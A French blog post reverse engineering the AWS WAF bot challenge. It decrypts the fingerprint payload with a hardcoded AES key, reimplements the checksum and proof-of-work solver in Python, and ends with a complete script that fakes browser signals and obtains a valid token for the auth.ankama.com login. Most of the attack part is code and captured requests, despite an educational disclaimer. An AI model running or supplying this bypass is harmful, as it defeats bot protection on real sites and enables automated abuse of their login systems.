Reverse Enginnering the AWS WAF Challenge
Introduction
Dans cet article, je vais me plonger en profondeur sur le challenge AWS WAF pour comprendre comment il fonctionne afin de trouver un moyen de le contourner efficacement, sans passer par du Node JS.
Si vous n’avez pas lu mon premier article sur ce sujet, je vous conseille d’aller le lire pour mieux comprendre celui-ci.
Avertissement
Les informations et techniques présentées dans cet article sont fournies à des fins éducatives uniquement. Je décline toute responsabilité quant à l’utilisation de ces informations à des fins autres que celles de l’apprentissage et de la compréhension. Veuillez respecter toutes les lois et règlements applicables.
Analyse en profondeur
- Chargement du script qui permet au navigateur de résoudre le challenge :
C’est ce script qui est chargé dans la page qui contient le challenge AWS que nous devrons analyser pour comprendre son fonctionnement.
- Première requête (GET) pour recevoir un challenge à résoudre :
Requête :
https://3f38f7f4f368.a20ab67d.eu-south-2.token.awswaf.com/3f38f7f4f368/e1fcfc58118e/inputs?client=browser
Réponse :
{
"challenge": {
"input": "eyJ2ZXJzaW9uIjoxLCJ1YmlkIjoiNTc2YzY1ZjEtYjFiMC00NGUwLThiMjEtMGM5YWJjMTRjNzA4IiwiYXR0ZW1wdF9pZCI6ImM2OWJlODdjLWI0OWItNDk5Mi1iNjA2LTFlODNhYzZjMDQyMyIsImNyZWF0ZV90aW1lIjoiMjAyNC0wOS0xN1QxNzo1MToyMS43NzUwMjEzNjZaIiwiZGlmZmljdWx0eSI6OCwiY2hhbGxlbmdlX3R5cGUiOiJIYXNoY2FzaFNIQTIifQ==",
"hmac": "YJe0fQzNVCVS25oK4iy3I0bYC8Z4xUCUcAmL98dyyks=",
"region": "eu-south-2"
},
"challenge_type": "h7b0c470f0cfe3a80a9e26526ad185f484f6817d0832712a4a37a908786a6a67f",
"difficulty": 8
}
On comprends déjà qu’il existe plusieurs types de challenge et que la difficulté va surement être utilisée dans le code pour les résoudre.
- Deuxième requête (POST) pour soumettre un challenge :
Requête :
https://3f38f7f4f368.a20ab67d.eu-south-2.token.awswaf.com/3f38f7f4f368/e1fcfc58118e/verify
Payload :
{"challenge":{"input":"eyJ2ZXJzaW9uIjoxLCJ1YmlkIjoiNTc2YzY1ZjEtYjFiMC00NGUwLThiMjEtMGM5YWJjMTRjNzA4IiwiYXR0ZW1wdF9pZCI6ImM2OWJlODdjLWI0OWItNDk5Mi1iNjA2LTFlODNhYzZjMDQyMyIsImNyZWF0ZV90aW1lIjoiMjAyNC0wOS0xN1QxNzo1MToyMS43NzUwMjEzNjZaIiwiZGlmZmljdWx0eSI6OCwiY2hhbGxlbmdlX3R5cGUiOiJIYXNoY2FzaFNIQTIifQ==","hmac":"YJe0fQzNVCVS25oK4iy3I0bYC8Z4xUCUcAmL98dyyks=","region":"eu-south-2"},"solution":"712","signals":[{"name":"KramerAndRio","value":{"Present":"Q+6gIaVYqQjEp/NF::12eb519eb0c0ccf7836560aa380dc423::61a418cdc2ee61fc45ca870f6bf03ab4cdf120c3032bc5128db69b11f4b36239b0a0683c6a1a1955f98d59b990aee9b5174a90d9222f81cd0d80f1ebcea782c47ae6be14b112d10760b982b30cfac0a58b4904b82ce8efc7f1f72fe2b6f4ccc38fe46c1704d6df9b2c070be06922db50f373bcd876d02342702f1d7625685aae108559adbafe270b0f009e9fc7f69f0e36ad8a2c1db5337ed5729caed0414728f311faaa166393e3c12c3712453b56a6f7a70a97e8169a98c71f143d605c1bc6cc0935ecff76c50404ce4bca8add0e68f3734808aa0b048b7903b7008c0f14117d9fd0d54c5d29c5b2b7d8b5d4dc837d895ab19f18afd42c9eb25eca653d7e35bd6373adb9739b88079933844c059c7fbc917d6fbb2f6922ec6a2f732274b9f174e2a76d58193005ea2d0df4db84bee85080d283c23e6de2721c0a5d635d2c3e57015664e7cb1c1fd8dc4e97fc207fb5905606c9a9cc218920cdda0db707284f5d5df3a3e8964dbe9f6cd91300e689fbfb90594c6303ebbe23a586d8b1a552111233cc61563c3708a4d8342d019a5eb1e5e1c6f4e4e431d80156057685ff943d886aa7b5776b207e9556737498341c5f76ac8510b15a21ca20e509693a3e54abc680dcf9d7c3ecf4c0eeb03da765eafcc32585d3ab75bfa2bb9d8827e7538f4751ae5f9dbf309db516ad13b72fda85de1494b0fe1a50a55e1ea35a5b2b8f15df12a68457e9e96c31d787740607b2039426d79e7adcd2f9bd996f1b1a30a403b6d6c35f1ea9509421105c4400ad09a14bc75d77ca3195ccbb1a91ac6fdf2389c0406f246b7711040fc7469b2eba94a3354648d3987777e8f95c91855a15cfcf53645d1769cf553aeebe40f41be9a48ec66f3540f2c454c39332cc3deba4b06603aac495ea1845961f5fa632039d44b85b46e872da2ab3557d67159ad2e2a9d3e1400ce122a86cbca02856b61a0cb8f1ee18a2243bc01502e00ae78c76b26b05dcf592aa538cc8053598e8bcb6aaf1ea52a57d7a9d5790bd6a977f3e5af16c5d0806ea36ed8187cda115a76656fb6ebc2403ffbe48b0054e39ae7f15f878603ac3f067cf3ebbb9274b7ba6a097000e4eb16b6294e9f6989fd3dae472ff874dce6bc648e54c41f9c4a54f8e67f7f978f2140ebfd8f0b9bfa17920b8f857b6cacf943690a2fcdd421b2978585f30c78add52f13d01b40d6e337bbf789e9ff693498d8b65d1f3428fa95e335e4093069c4d557a7c85a721c5ef052860809d164674c5acf3a8866dfbccf19cf9349586b09cd557c72e184eeea9b5c401f1645e80c684abb46783f8bfc325114ab54236466fb7cf61b0d716881bb8dbd7939afe91db281dae4ed2f87557cf951bfd0c1f57acdc0da75080440e0fd8273f2eaf6709e6a70c3db8b9ef4c4730ddb028d15e9cbc9078bf4678591790c0d590c3e14e98734282c0ae9925bfbdd32a279285be2a7b7f8727e715b8da5065714d2964427fc4ebbac3e418683e22e437643d59bed6aacd959b6c96d1191eab88df1ae37ccc5f5e4ca845136f5743bb0ae15b2993b7737d4cc81c76cf6f8940a41cc0931bacfd1eeeaad2a1ca6716315d1eb4aa8b4ce20c1239107fdedaa006403e9a8f06a2070a5dbf6e6160e541780fd0f499a5aa9e10f42d95204d85451b27f1d9ed9e4d6186c7048d4bea61066a3c851b578f11b16660bbc1cbf228a568b9e32ced93e298d75cf80b6470fb2ceeb32dc6badd9f64bf03a4e436f88c8c1e7f56a9b4983bedb76409a79c30b90ce1f547ab020771fd6c87903ce75f60fcdd57077af1df3c60114b6a8946b18b3cb8c85eb8dd94205a4245efc3d55b18111cb7ff4a93e4a343eb01594ad21f438da2b772c367dd35f3cb2d62f73b92b05a01363cdf5dae68e23de4744282b16ef2bef8e7e6724cd77b935607b16c814d1dff3a4ec03e6b1b276f560762e4dfdcf9a5489b309c398b989b833541040343586f2894c43d686d2eab95dbe484e0d620e9e0f2d1a33b72eb617106ded8fd343b578c967720025e254336d99851babda59fe3483a2c157cfc1dc50af009d84b1844b43aae47a29d0e0df0995b8e8cbb55efc48873c7e21b65bc034a8048fec19fa057ba65268c5ba7a6303c8820d32da3cd6a9297cbe2d79761cc625d79fc713b91b1909dc3ddb96d10c93aac2f33b417c3bc3e32c5ebc7e1426901e5c68bc450f189699578abd9cd0dfadd4a679e041e48ee31063579bbf98253f21be3d9dfa5fb38649f19a7ff85bbce44a9886f044034884ed147cce38bbbbe98b562be7b6bb611b83b879c21ed851ab1e9b36172aefdf06def28f1bc1800c6ae2111e13ec7f9956684b676bd7ca1125725d0d0ee51d8c381bedc2e1705147dea98292b270aa462ee73d8b74b2bd6b8e9fa883d49b4afe03f1c82e7aec1e584770d675a49c201cad047a17c89950c8843d17f035ea713b03d05b041bb89cf00f4c5b0118a77edc8c439ae02a44138953d7b0644659c05e5cb2123578ea0fade1c7bd5f50acb8b939064351abceb904cfb23845610f099db029f6c117910f81c613d6508651ec4dd93ffbfecfa8b4fe53b97db0febb5813aca77c0dcad52fee2f1ea998f2ab34db60a42072937ef764134696bdc1c708b830d2c77c5dc5208e6888ffab30bb7379a377a3ac32bb4360216049556e10caf4718810ea56b44e5b3e15d787a26fc18de041ac4389d8203f1d10dff597d91f2c14524990f9a1695d176993a393d22c0a0557710734a160527dea3fc4cbeebbb57f8e67378e407583556299713406d63b089dc36da5e089c3a10ff2c6d8993b6169a256bfd1cec6de37e598e306add40091bc47dcacd58875122043ad9f364e5b1ea9f4595cea5057976ad4671d09422ba80d0c3ad0eb6df144d4220e4b28c463afd4467f897c53e34cea17e5cf92fa72f1140010ce3f9dfaa57a23e7de1d263cbb2d33422589936cd995558f2a0627efd20050cfc4f5c5af7895dd674ff82970243a57c7952519ad66578d867089b7dc16c2a42c7d92fb2afc482c078f9c2a2a607d864506947959f2e0716792b0f73dd02a04bfade4d3296c2e7dfc850ed79d3dfbebdae216e1ceaee667868145f5174daebb24010c84180ab927bf76dc53855c924eeab5e1db9b8a4a442f6c091706375158eff57ccdc4cb71d13a429cf4e6e0dc09e3b46ceedac69677b92eb87077316e581b15ee3a6636794faf96d887a56fdad25317fb0fa1a9bd390cb27059915649bdc81702cc4e76767faf53e82c1ccdc361b9f8036306ecce58419a5558959178feef9f1b94642f7efe6c809d820f4ed2d996c6a6d80b5d3a6bf9e9633489b311fd1a2ff348d643b5b5797042c6284957124c7b791a9286da5b85bd3c2e1b1c0ac5d7e345ed67659835d978edea721d36e01bbd6d05ee31e583021b9dbd44991e378ee9b040b436971a70354393ff942ccf620427f1f1e12e6d1d5dffda3e33487d8d830694e8b33fd6a60110fa59a81035f0d098a08cfcdd586508c84266a9cfb5de8c0613ee2455b0c95aa1cee6bdcfd8308ec320eb31335654f0a256720a22eb7223941d6390b525ab9352d477a198dbf15fdb8274de498e0374cf75746125ffa7ae209085d72ef9c6606767d03418aa6927749ba526957ead02ee13dd6700833d3d5a49e8480c524817d28c0063cabbc0c912f8891cbc6d1a11df35aaebe408ad73efe4d26b62565737492b9ba3235a1e1880c0dedf29a2a3e8ee841f1c397fa448e24442ff8bfacc2824a7f95ab745a1883267744ca13d47e5d43075fe372b211cb4040a9e4aec23f5fb605ae46f13f2f6c584d5349362f6c18da84da5ca512627bf263771db9991f578e3fa26501701648fbe46f7d12309060bc8503a5f9780976459a16268597f25e36b2e9a82ac2239bb85084d814a607d626b995e1cff3ee085e531bc754447ac25dc5c93d9d13389096d2ec9609016cc247877a3b820bb6bff7396ae4dd737e465a9e86174c1e59262c9f49d8437683fe1c27a4a7f978782c12618573cb4c336a89c06668087e7a5033bb3615ea588983d4f3b5f3061ad9b357fd61150737f32130d37a765ecfbd6ff3f98d533c9aaec04b3925078b1d3d6e99561030b6daad6d788dce8acba2eabb9d5cae7dd286876613693a22c9e48fd18e2c3f8edb683bd714b41aad8dc9a8074ac84e4f0328a3a06563c24ab6c9cdd5b5481cb6772ce5674ddd2eec2a7ded98486ca83fa67ebe37d77de3ef7d25119cdd260ea90a50c3e7669004427ad3c0c27d2c1160de308e503318aae190bca29a939ca619eba9e9a9da962171c44f971d139a0c85b1d8b17bb8c5d1fdf83c2df1e0aac47b07add3c9e8bd9091b680d6f15ad02d410b25b2c7ae24b644085155eca4046af92ac806ae121582a6dbcc58bf519decd9ce9945962548f81726381dd1f4fb40217a41c356efb2e381b9c4798a0a92ee00bc7a10ab87246441d36d73ec2ae5b98097e607d726e8e5568a92f8e5698a24d29f36854683ebe8621438d67fcbc6fb578d585f89e7e6ac76a7a3f5c35da8820eeae2753a36fe11e3872bdafdccba9bfd22a26ba22148279795a6c17b662e6974809a902609d7abcf343061b6ac2256cc3ba0ad42dee1d98e1cccbc7eae95243c6c48ae8eed1eee33de11fc9e11c015b60e395130edb5a08f5ce7ac1e4cc684b9c5adf8291b489b32e38ee30f945fa589fe2a25de0b5716f7c448a546f298d4f7bc612b9528c193935dcf93b437a88f6025e917f13a2007257d3cf4881cdd7cadad47eef2da0a86d7441c01a1c642d764562bd692bda1c5d204245429a02704ed646440bfcf3faf440333358a645bf7e361f47f8feaafa8d88ff5cb555c3482595f63b43efd28e4c8f463fdbb8bf31f9a48e52a42a3eb20b5338d39bb4961f6674aeeb02bbf50205121570a72bb440bcf6c1865bd4ed6ec390e06d88cbb3575b1cca8714a5e92e8678559218679f79af4340942e0eec8289fe25670a395969703500d72f916cc3e3ce2c876f9baefd8e326a4e1b8dc1b966cb75f4f6a827e204fe2d633ca035f7b913db6599c084c65ce58c481da4ea68125e1b812fb67c53742f9f91a03cc3d7ef7d5e3ab05efb57c6ffeac8bb5d067fa95e92a5ea8aeeb981f705bd4769cbc7287d23a4c4ad40ab524ec8a20c0109d67b5b1eb68d304beba8b5a51a551444e0b38ddb64658d977277d34d90d248239883623866830d509d8425ce434e233b4a7ff23c91652cc809da9ab84a3d0f990222e9b2faaacf70c1c2ddf22835dfbb9d47d06b6a0224ea6907e18fe70c13062052bad3005061d8002a0b0d1fd71ca2ad45a4b488087a08fa80c3dc9e7f863850c3ece16b7904ce8a08a42d161e049ad2f5165dbcce91bdef1f8dbd2eebcbc183099dca507df3fb802c764c8fb30c4cf0e068d7a3a3961298c0939107c2cd0a9c68c26766d1ef6db4dc50aeb52d40e668a154db3795e15fe5fe345f6430b96878b5b166b7372cfae58144e153508b4c6d8fb8d8420f3b9761f5c7266c6b5a6b6bba1c385f43a62c1529fd99e4d51505165a08e1506a5c21632895cbba5e1764a0f640a86dd7be5"}}],"checksum":"2873EF02","existing_token":null,"client":"Browser","domain":"auth.ankama.com","metrics":[{"name":"2","value":0.699999988079071,"unit":"2"},{"name":"100","value":0,"unit":"2"},{"name":"101","value":1,"unit":"2"},{"name":"102","value":0,"unit":"2"},{"name":"103","value":14,"unit":"2"},{"name":"104","value":0,"unit":"2"},{"name":"105","value":0,"unit":"2"},{"name":"106","value":0,"unit":"2"},{"name":"107","value":0,"unit":"2"},{"name":"108","value":0,"unit":"2"},{"name":"undefined","value":1,"unit":"2"},{"name":"110","value":0,"unit":"2"},{"name":"111","value":9,"unit":"2"},{"name":"112","value":0,"unit":"2"},{"name":"undefined","value":0,"unit":"2"},{"name":"3","value":5.800000011920929,"unit":"2"},{"name":"7","value":0,"unit":"4"},{"name":"1","value":33.89999997615814,"unit":"2"},{"name":"4","value":29.5,"unit":"2"},{"name":"5","value":0,"unit":"2"},{"name":"6","value":63.39999997615814,"unit":"2"},{"name":"0","value":562.8000000119209,"unit":"2"},{"name":"8","value":1,"unit":"4"}]}
Réponse :
{
"token": "b8eee737-fbdb-4173-b6ce-8a0ded45dbfe:HQoAsM19XXwBAAAA:2PUWxgdu41le7k9hZOpiDNqdrOL6hEmKzmuQTP6w3+/99H0FJLjoRFEcPiXvWtuEgv6IE/+qT/6jqMtqo5CGgJfNPvh3d/Zl0bEU8O8xCqzFxLYKXAtiABM8yt+V14ASLoQmTpSjRIXx9jcpjIHC2Q81dtxuuOJWdad4aVWxeQY0M7M2B/kRIhRJzCpWx20b4oA=",
"inputs": null
}
Je vais donc commencer à déobfusquer puis analyser le script js qui permet d’envoyer toutes les données contenues dans la deuxième requête :
On peut voir dans cette fonction collectAndEncrypt
partiellement déobfusquée que le script va récupérer des données du navigateur, puis les encoder avant de les chiffrer.
Voici comment est définie la variable encoding_object
.
Pour accèder à sa méthode collecte, on peut rajouter cette ligne : console.log(encoding_object.encode.toString());
afin d’aller chercher son contenu dans le script.
Voici comment sont encodées les données récupérées :
Explication du processus :
- Les données sont transformées au format JSON
- Elles sont ensuite encodées en UTF8
- Une valeur est calculée en fonction de ces données (cette valeur est appelée checksum) et sert à valider leur intégrité
- Les données sont renvoyées dans ce format :
{checksum}#{données encodées}
Allons maintenant chercher la fonction pour caculer le checksum :
Voici une réimplémentation en python où l’on passe une chaine json pour calculer son checksum :
def build_crc_table():
POLYNOMIAL = 0xedb88320
table = []
for i in range(256):
crc = i
for j in range(8):
if crc & 1:
crc = (crc >> 1) ^ POLYNOMIAL
else:
crc >>= 1
table.append(crc)
return table
def calculate_crc32(data):
crc_table = build_crc_table()
crc = 0xffffffff
for byte in data:
crc = (crc >> 8) ^ crc_table[(crc ^ byte) & 0xff]
return crc ^ 0xffffffff
def calculate_checksum(payload):
utf8_encoded = payload.encode('utf-8')
crc32_value = calculate_crc32(utf8_encoded)
hex_encoded = hex_encode(crc32_value)
return hex_encoded
On peut maintenant se concentrer sur le chiffrement de ces données (ainsi que sur le déchiffrement).
Voici la fonction qui permet de chiffrer ces données :
Explication du processus :
- Un identifier est récupéré dans une classe
keyProvider
- La clé de chiffrement est hardcodé
- Un iv aléatoire de 12 bytes est généré
- Un chiffrement AES-GCM est appliqué sur les données
- Le résultat est renvoyé dans ce format :
{identifier}::{iv en base64}::{tag_hex}::{données chiffrées}
Penchons nous du côté du KeyProvider :
L’identifier
est hardcodé et material
n’est pas utilisé dans le chiffrement.
Avec ces infos, on peut réimplémenter la lib de chiffrement en python :
class KeyProvider:
def provide(self):
return {
'identifier': "KramerAndRio",
'material': bytes([
0x4e, 0x2f, 0x88, 0xb3,
0x12, 0x9d, 0x1b, 0x4e,
0x79, 0xcf, 0x37, 0x69,
0xea, 0xb4, 0x5b, 0xcf
])
}
class Encryptor:
def __init__(self, key_provider):
self.key_provider = key_provider
def encrypt(self, plaintext):
key_data = self.key_provider.provide()
identifier = key_data['identifier']
key_material = key_data['material']
hex_key = "93d9f6846b629edb2bdc4466af627d998496cb0c08f9cf043de68d6b25aa9693"
key = binascii.unhexlify(hex_key)
iv = os.urandom(12)
cipher = Cipher(algorithms.AES(key), modes.GCM(iv), backend=default_backend())
encryptor = cipher.encryptor()
ciphertext = encryptor.update(plaintext.encode()) + encryptor.finalize()
tag = encryptor.tag
iv_encoded = base64.b64encode(iv).decode('utf-8')
tag_hex = tag.hex()
ciphertext_hex = ciphertext.hex()
result = f"{identifier}::{iv_encoded}::{tag_hex}::{ciphertext_hex}"
return result
def decrypt(self, iv_encoded, tag_hex, ciphertext_hex):
key_data = self.key_provider.provide()
key_material = key_data['material']
hex_key = "93d9f6846b629edb2bdc4466af627d998496cb0c08f9cf043de68d6b25aa9693"
key = binascii.unhexlify(hex_key)
iv = base64.b64decode(iv_encoded)
tag = bytes.fromhex(tag_hex)
ciphertext = bytes.fromhex(ciphertext_hex)
cipher = Cipher(algorithms.AES(key), modes.GCM(iv, tag), backend=default_backend())
decryptor = cipher.decryptor()
plaintext = decryptor.update(ciphertext) + decryptor.finalize()
return plaintext.decode('utf-8')
Ce format de données est visible dans le payload envoyé lors de la requête de validation du challenge à cet endroit la :
L’identifier a été séparé des données, mais nous pouvons utiliser notre code python pour déchiffrer les données :
def test_decrypt():
key_provider = KeyProvider()
encryptor = Encryptor(key_provider)
iv_encoded = "Q+6gIaVYqQjEp/NF"
tag_hex = "12eb519eb0c0ccf7836560aa380dc423"
ciphertext_hex = "61a418cdc2ee61fc45ca870f6bf03ab4cdf120c3032bc5128db69b11f4b36239b0a0683.............." # TROP LONG
decrypted = encryptor.decrypt(iv_encoded, tag_hex, ciphertext_hex)
print(decrypted)
test_decrypt()
On a bien réussi à déchiffrer les données et on retrouve notre format avec le checksum suivi de #
suivi des données en json.
Voici les données dans un format un peu plus propre :
Comme prévu, les données sont des données de navigateur, elles peuvent être hardcodées dans notre code pour simuler n’importe quel navigateur à l’exception de start
et end
qui correspondent aux timestamps de début et de fin de récupération des données, ainsi que de id
qui est un uuid4 généré aléatoirement.
Si on s’intéresse maintenant aux autres données envoyés pour la validation du challenge :
Le champ challenge
correspond au challenge récupéré lors de la première requête.
Ce qui nous intéresse, c’est le champ solution
qui contient la solution au challenge !
Voici le code qui gère la partie de résolution du challenge :
Explication du processus :
- La fonction a utilisée est determinée en fonction du hash
challenge_type
- La fonction en question est appelée avec l’input du challenge, le checksum ainsi que sa difficulté et la mémoire (qui n’est pas utilisée)
Voici l’endroit qui relie les types de challenge à leur fonction respective :
Il y a deux types de challenge différents mais pour des questions de temps, je vais m’intéresser au challenge 2.
Voici la fonction reliée au challenge 2 :
Explication du processus :
- L’input du challenge et le checksum sont concaténés
- La fonction entre dans une boucle infinie avec un incrémentateur
- A chaque itération, l’incrémentateur est concaténé à l’input du challenge et au checksum
- Cette nouvelle chaine est hashé avec l’algorithme SHA256
- Le hashage résultant est passé à une fonction
satisfy_difficulty
pour savoir s’il faut arrêter la boucle - Si le hashage ne satisfait pas la difficulté, on incrémente de 1 et on repasse dans la boucle
- L’incrémentateur est retourné à la fin de notre fonction, c’est la solution du challenge !
Voici une implémentation en python pour avoir la solution du challenge 2 :
def satisfy_difficulty(difficulty, hash_string):
hex_to_bin = {
'0': '0000', '1': '0001', '2': '0010', '3': '0011',
'4': '0100', '5': '0101', '6': '0110', '7': '0111',
'8': '1000', '9': '1001', 'A': '1010', 'B': '1011',
'C': '1100', 'D': '1101', 'E': '1110', 'F': '1111'
}
bin_string = ''.join(hex_to_bin[char.upper()] for char in hash_string[:difficulty // 4])
bin_int = int(bin_string[:difficulty], 2)
return bin_int == 0
def sha256_hash(input_string):
return hashlib.sha256(input_string.encode()).hexdigest()
def encode64(input_bytes):
return base64.b64encode(input_bytes).decode()
def get_solution_2(payload):
difficulty = payload['difficulty']
input_string = payload['input']
checksum = payload['checksum']
memory = payload['memory']
input_checksum_concat = input_string + checksum
incrementor = 0
while True:
input_checksum_0_concat = input_checksum_concat + str(incrementor)
input_checksum_encoded = input_checksum_0_concat.encode()
hash_result = hashlib.sha256(input_checksum_encoded).hexdigest()
if satisfy_difficulty(difficulty, hash_result):
return str(incrementor)
incrementor += 1
Voila ! Nous avons tous les éléments requis pour contourner ce challenge sans utilisation de navigateur ou de node JS.
Contournement final
Etapes à mettre en place :
- Hardcoder les données du navigateur selon les besoins (faire croire que nous somme sur tablette par exemple)
- Calculer le checksum qui correspond à ces données
- Chiffrer ces données avec ce format :
{checksum}#{données}
à l’aide de notre implémentation du chiffrement - Récupérer un challenge à l’aide de la première requête GET
- Calculer la solution à ce challenge à l’aide de notre fonction
- Créer un payload bien formatté (hardcoder les données restantes selon les besoins)
- Faire une requête POST pour envoyer notre résolution du challenge
- Récupérer le token aws dans la réponse !
Voici un code python permettant de le faire :
def main():
key_provider = KeyProvider()
encryptor = Encryptor(key_provider)
metrics = '{"metrics":{"fp2":0,"browser":1,"capabilities":0,"gpu":1,"dnt":0,"math":0,"screen":0,"navigator":0,"auto":0,"stealth":0,"subtle":1,"canvas":39,"formdetector":1,"be":2},"start":' + str(int(time.time())) + ',"gpu":null,"math":{"tan":"-1.4214488238747245","sin":"0.8178819121159085","cos":"-0.5753861119575491"},"flashVersion":null,"plugins":[],"crypto":{"crypto":1,"subtle":0,"encrypt":0,"decrypt":0,"wrapKey":0,"unwrapKey":0,"sign":0,"verify":0,"digest":0,"deriveBits":0,"deriveKey":0,"getRandomValues":true,"randomUUID":true},"canvas":{"hash":-1653648953,"emailHash":null,"histogramBins":[14105,70,77,57,51,65,65,49,47,46,49,39,30,25,40,45,29,55,37,46,48,45,32,26,19,24,39,27,51,34,31,23,21,28,25,31,24,28,32,34,38,15,19,28,22,31,13,22,24,18,39,24,25,35,34,20,19,27,18,17,28,21,19,22,16,20,18,18,20,20,22,25,41,11,26,28,17,23,19,19,20,26,23,9,27,37,28,20,37,12,29,25,38,22,10,25,24,22,39,24,57,26,511,38,26,21,22,30,17,11,24,23,43,25,25,17,24,21,19,59,44,27,32,23,31,26,20,64,18,10,16,28,24,34,33,34,57,17,18,18,16,18,25,23,17,23,21,21,13,26,20,35,21,91,20,29,20,24,11,27,22,23,10,22,23,27,12,32,27,23,25,32,23,17,26,32,17,19,24,30,14,29,27,19,14,29,14,23,25,28,7,25,14,19,20,34,25,38,29,35,35,39,33,20,30,36,22,25,45,29,32,18,28,34,18,29,21,25,23,27,40,30,28,17,37,32,41,43,41,54,18,29,24,34,37,61,51,51,36,35,32,50,55,52,49,65,48,60,67,78,81,70,81,79,205,13505]},"formDetected":true,"numForms":1,"numFormElements":4,"be":{"si":false},"end":' + str(int(time.time()) + 1) + ',"errors":[{"collector":"fp2","message":"screen is not defined"},{"collector":"browser","message":"navigator is not defined"},{"collector":"capabilities","message":"navigator is not defined"},{"collector":"dnt","message":"navigator is not defined"},{"collector":"screen","message":"screen is not defined"},{"collector":"auto","message":"navigator is not defined"}],"version":"2.3.0","id":"' + str(uuid.uuid4()) + '"}'
checksum = calculate_checksum(metrics)
print("Checksum calculé :", checksum)
encrypted_data = encryptor.encrypt(checksum + "#" + metrics)
print("Début des données chiffrées :", encrypted_data[:50])
print("Récupération d'un challenge")
r = requests.get("https://3f38f7f4f368.a20ab67d.eu-south-2.token.awswaf.com/3f38f7f4f368/e1fcfc58118e/inputs?client=browser")
resp = r.json()
inputx = resp["challenge"]["input"]
difficulty = resp["difficulty"]
memory = 128
payload = {
"input": str(inputx),
"checksum": str(checksum),
"difficulty": int(difficulty),
"memory": int(memory)
}
print("Challenge récupéré")
solution = get_solution_2(payload)
print("Solution au challenge :", str(solution))
final_payload = {
"challenge": resp["challenge"],
"solution": str(solution),
"checksum": str(checksum),
"existing_token": "",
"client": "Browser",
"domain": "auth.ankama.com",
"signals": [
{
"name": "KramerAndRio",
"value": {"Present": encrypted_data.replace("KramerAndRio::", "")}
}
],
"metrics": [{"name":"2","value":0.5608000000000288,"unit":"2"},{"name":"100","value":1,"unit":"2"},{"name":"101","value":0,"unit":"2"},{"name":"102","value":1,"unit":"2"},{"name":"103","value":0,"unit":"2"},{"name":"104","value":0,"unit":"2"},{"name":"105","value":0,"unit":"2"},{"name":"106","value":0,"unit":"2"},{"name":"107","value":0,"unit":"2"},{"name":"108","value":1,"unit":"2"},{"name":"undefined","value":0,"unit":"2"},{"name":"110","value":0,"unit":"2"},{"name":"111","value":40,"unit":"2"},{"name":"112","value":1,"unit":"2"},{"name":"undefined","value":2,"unit":"2"},{"name":"3","value":13.910499999999956,"unit":"2"},{"name":"7","value":0,"unit":"4"},{"name":"1","value":64.99780000000004,"unit":"2"},{"name":"4","value":6.26909999999998,"unit":"2"},{"name":"5","value":0.0013000000000147338,"unit":"2"},{"name":"6","value":71.27339999999998,"unit":"2"},{"name":"8","value":1,"unit":"4"}]
}
headers = {
"accept":"*/*",
"accept-encoding":"gzip, deflate, br, zstd",
"accept-language":"fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7",
"content-type":"text/plain;charset=UTF-8",
"priority":"u=1, i",
"sec-ch-ua":'"Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"',
"sec-ch-ua-mobile":"?0",
"sec-ch-ua-platform":'"Windows"',
"sec-fetch-dest":"empty",
"sec-fetch-mode":"cors",
"sec-fetch-site":"cross-site",
"user-agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36"
}
print("Envoie de la requête de validation du challenge")
r2 = requests.post("https://3f38f7f4f368.a20ab67d.eu-south-2.token.awswaf.com/3f38f7f4f368/e1fcfc58118e/verify", json=final_payload, headers=headers)
print("Token récupéré : ")
print(r2.json()["token"])
main()
On peut maintenant tester son execution :
Et voila ! Tout marche comme prévu et on peut maintenant contourner efficacement le WAF AWS !
Conclusion
Vous pouvez trouver le code entier de cette PoC sur mon github, merci d’avoir lu jusqu’au bout et n’hésitez pas à me faire des retours !